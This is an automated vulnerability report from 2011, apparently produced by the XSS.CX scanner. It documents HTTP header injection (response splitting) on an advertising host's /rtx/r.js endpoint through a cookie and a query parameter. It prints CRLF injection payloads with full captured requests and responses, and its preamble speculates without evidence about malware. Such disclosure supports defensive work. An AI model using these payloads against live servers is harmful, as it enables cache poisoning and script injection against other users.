tacoda.at.atwola.com, HTTP Header Injection, CWE-113, Response Splitting

ASCII codes less than 0x20 should be rejected.

Report generated by XSS.CX at Sun Feb 27 07:18:56 CST 2011.

Hoyt LLC Research reports that tacoda.at.atwola.com is an Advertising and Content Delivery Network Host. The Servers provide targeted adverting which are often the targets of fraudsters. Do not click on an ad and instead go directly to the Host. Advertising is a form of inducement by which Phishing is conducted to exploit financial and personal information.
Date: March 14, 2011 @ 0149 GMT | Hoyt LLC Research observes that Search Engine landings for terms like tacoda.at.atwola.com and remove atwola are increasing at a rate that has a Vulnerability Crawler interrogating the tacoda.at.* Servers. Given the significant volume of Search Terms, greater than 100+ in the prior 12 hours, we expect to find Malware and/or Trojan Download.

The DORK Report

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1. HTTP header injection

1.1. http://tacoda.at.atwola.com/rtx/r.js [N cookie]

1.2. http://tacoda.at.atwola.com/rtx/r.js [si parameter]


1. HTTP header injection
There are 2 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

1.1. http://tacoda.at.atwola.com/rtx/r.js [N cookie]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tacoda.at.atwola.com
Path:   /rtx/r.js

Issue detail

The value of the N cookie is copied into the Set-Cookie response header. The payload bf012%0d%0af7b9b665bf was submitted in the N cookie. This caused a response containing an injected HTTP header.

Request

GET /rtx/r.js?cmd=ADN&si=18288&pi=M&xs=3&pu=http%253A//cdn.at.atwola.com/_media/uac/tcode3.html%253Fifu%253Dhttp%25253A//techcrunch.com/2011/02/16/forbes-accused-of-link-spam-plays-dumb-but-forgets-to-delete-all-the-links/%2526cmmiss%253D-1%2526cmkw%253D&r=&v=5.5&cb=60711 HTTP/1.1
Host: tacoda.at.atwola.com
Proxy-Connection: keep-alive
Referer: http://cdn.at.atwola.com/_media/uac/tcode3.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; ANRTT=53615^1^1299284361|52766^1^1299284361|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837; TData=99999|^|53575|53656|54063|56768|56830|56835|60506|60515|#|53615|52766|60130|50213|50239; N=2:2d4ec7443dfa469e64430537b01b46dc,ca3680f9be00bf67dd48c45e051ee302bf012%0d%0af7b9b665bf; ATTAC=a3ZzZWc9OTk5OTk6NTM1NzU6NTM2NTY6NTQwNjM6NTY3Njg6NTY4MzA6NTY4MzU6NjA1MDY6NjA1MTU6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk=; eadx=1; CfP=1; JEB2=4D69B03E6E651A440C6EAF39F001EBEA

Response

HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 02:35:33 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Sun, 27 Feb 2011 02:50:33 GMT
Set-Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; path=/; expires=Wed, 22-Feb-12 02:35:33 GMT; domain=.at.atwola.com
Set-Cookie: ANRTT=53615^1^1299284361|52766^1^1299284361|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837|60190^1^1299378933; path=/; expires=Sun, 06-Mar-11 02:35:33 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1298774133^1298775933|18288^1298774133^1298775933; path=/; expires=Sun, 27-Feb-11 03:05:33 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239|60190; expires=Wed, 22-Feb-12 02:35:33 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: Anxd=x; expires=Sun, 27-Feb-11 08:35:33 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:ca3680f9be00bf67dd48c45e051ee302bf012
f7b9b665bf,c638727a4faa7467533adb5623113b72; expires=Wed, 22-Feb-12 02:35:33 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTM1NzU6NTM2NTY6NTY3Njg6NTY4MzA6NTY4MzU6NjA1MTU6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk6NjAxOTA=; expires=Wed, 22-Feb-12 02:35:33 GMT; path=/; domain=.at.atwola.com
ntCoent-Length: 176
Content-Type: application/x-javascript
Content-Length: 176

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16lsqii1n1a3cr';
var ANSL='99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239|60190';
ANRTXR();

1.2. http://tacoda.at.atwola.com/rtx/r.js [si parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://tacoda.at.atwola.com
Path:   /rtx/r.js

Issue detail

The value of the si request parameter is copied into the Set-Cookie response header. The payload 8ecf0%0d%0a6420ebe94a was submitted in the si parameter. This caused a response containing an injected HTTP header.

Request

GET /rtx/r.js?cmd=ADN&si=8ecf0%0d%0a6420ebe94a&pi=M&xs=3&pu=http%253A//cdn.at.atwola.com/_media/uac/tcode3.html%253Fifu%253Dhttp%25253A//techcrunch.com/2011/02/16/forbes-accused-of-link-spam-plays-dumb-but-forgets-to-delete-all-the-links/%2526cmmiss%253D-1%2526cmkw%253D&r=&v=5.5&cb=60711 HTTP/1.1
Host: tacoda.at.atwola.com
Proxy-Connection: keep-alive
Referer: http://cdn.at.atwola.com/_media/uac/tcode3.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; ANRTT=53615^1^1299284361|52766^1^1299284361|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837; TData=99999|^|53575|53656|54063|56768|56830|56835|60506|60515|#|53615|52766|60130|50213|50239; N=2:2d4ec7443dfa469e64430537b01b46dc,ca3680f9be00bf67dd48c45e051ee302; ATTAC=a3ZzZWc9OTk5OTk6NTM1NzU6NTM2NTY6NTQwNjM6NTY3Njg6NTY4MzA6NTY4MzU6NjA1MDY6NjA1MTU6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk=; eadx=1; CfP=1; JEB2=4D69B03E6E651A440C6EAF39F001EBEA

Response

HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 02:33:28 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Sun, 27 Feb 2011 02:48:28 GMT
Set-Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; path=/; expires=Wed, 22-Feb-12 02:33:28 GMT; domain=.at.atwola.com
Set-Cookie: ANRTT=53615^1^1299284361|52766^1^1299284361|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837|60190^1^1299378808; path=/; expires=Sun, 06-Mar-11 02:33:28 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1298774008^1298775808|8ecf0
6420ebe94a^1298774008^1298775808; path=/; expires=Sun, 27-Feb-11 03:03:28 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239|60190; expires=Wed, 22-Feb-12 02:33:28 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: Anxd=x; expires=Sun, 27-Feb-11 08:33:28 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:ca3680f9be00bf67dd48c45e051ee302,c638727a4faa7467533adb5623113b72; expires=Wed, 22-Feb-12 02:33:28 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTM1NzU6NTM2NTY6NTY3Njg6NTY4MzA6NTY4MzU6NjA1MTU6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk6NjAxOTA=; expires=Wed, 22-Feb-12 02:33:28 GMT; path=/; domain=.at.atwola.com
Cteonnt-Length: 176
Content-Type: application/x-javascript
Content-Length: 176

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16lsqii1n1a3cr';
var ANSL='99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239|60190';
ANRTXR();

Report generated by XSS.CX at Sun Feb 27 07:18:56 CST 2011.